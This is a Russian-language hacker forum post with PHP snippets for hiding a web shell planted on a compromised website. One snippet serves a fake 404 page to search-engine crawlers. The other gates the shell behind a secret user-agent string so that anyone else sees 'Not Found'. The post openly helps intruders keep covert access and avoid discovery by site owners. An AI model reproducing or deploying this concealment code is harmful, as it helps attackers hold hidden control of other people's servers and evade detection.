Показать сообщение отдельно

  #7  
Старый 29.08.2012, 23:12
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Скрываем шелл от поисковых систем

Прячем шелл от ПС

Способ #1

Шелл не должен индексироваться поисковыми системами, иначе есть вероятность не только спалить его, но и заиметь левых владельцев. Поэтому будем проверять глобальный массив $_SERVER['HTTP_USER_AGENT'] на наличии в нем google, yandex и прочей нечисти и говорить им что на данном адресе 404 error.

Вот скрипт на PHP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]"Google"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Slurp"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"MSNBot"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"ia_archiver"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Yandex"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Rambler"[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'|'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/i'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 404 Not Found'[/COLOR][COLOR="#007700"]);

exit;

}

}

[/
COLOR][/COLOR
Способ #2

На счет первого способа скрытия шелла была высказанна объективная критика, что это не дает 100% защиты от скрытия шелла, поэтому сейчас будем реализовать более безопасный вариант. Будет проверяться глобальный массив $_SERVER['HTTP_USER_AGENT'] на схожесть с заранее записанным вариантом:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#0000BB"]qwerty[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 404 Not Found'[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"404 Not Found"[/COLOR][COLOR="#007700"];

}


else echo
[/COLOR][COLOR="#DD0000"]"код оболочки..."[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR
Заменять User Agent будем через плагин для FireFox - User Agent Switcher , актуальная версия на сегодняшний день 0.7.3.

Спасибо за идею - BigBear, mironich!
 
Ответить с цитированием